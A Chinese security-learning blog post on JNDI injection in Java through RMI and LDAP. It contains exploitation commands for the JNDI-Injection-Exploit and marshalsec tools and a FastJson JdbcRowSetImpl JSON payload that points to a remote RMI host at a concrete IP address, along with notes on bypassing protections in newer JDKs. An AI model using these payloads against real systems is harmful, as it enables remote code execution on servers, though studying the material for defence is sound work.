安全学习_开发相关_JNDI介绍(注入)&RMI&LDAP服务

文章目录

参考&本节目的

https://blog.csdn.net/dupei/article/details/120534024

高版本绕过参考:

https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

什么是jndi注入

为什么有jndi注入

JDNI注入安全问题

JDNI注入利用条件

参考:https://blog.csdn.net/dupei/article/details/120534024

JNDI概念-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

调用检索:

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的常用类有:

java 复制代码
org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的常用类有:

java 复制代码
InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

JNDI中内置了rmi、ldap服务

rmi、ldap都可以进行远程调用对象,可以远程执行java代码class文件

攻击利用中就用到了jndi-injection和marshalsec工具

jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap高版本有一定绕过方法。

JNDI注入-使用工具生成远程调用

JNDI远程调用-工具(jndi-injection)自主定义

1、使用远程调用(默认端口1389)

new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/xxx");

new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/xxx");

2、使用利用工具生成调用地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

JNDI远程调用-工具marshalsec

1、使用远程调用(默认端口1389)

new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");

new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");

2、编译调用对象

javac Test.java

将对象编译为class文件,放入远程服务器后利用工具生成调用协议

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test

4、将生成的Class存放访问路径

JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)

思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入

漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson

2、使用工具生成远程调用方法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.94.236.117

3、提交JSON数据Payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/vwaexx","autoCommit":true}

该类最终调用了InitialContext.lookup()

JNDI注入-JDK高版本注入绕过

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,

因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过参考:

https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

marshalsec中集成了一些绕过,绕过的ldap服务。

相关推荐
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
西岸行者7 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
red1giant_star7 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全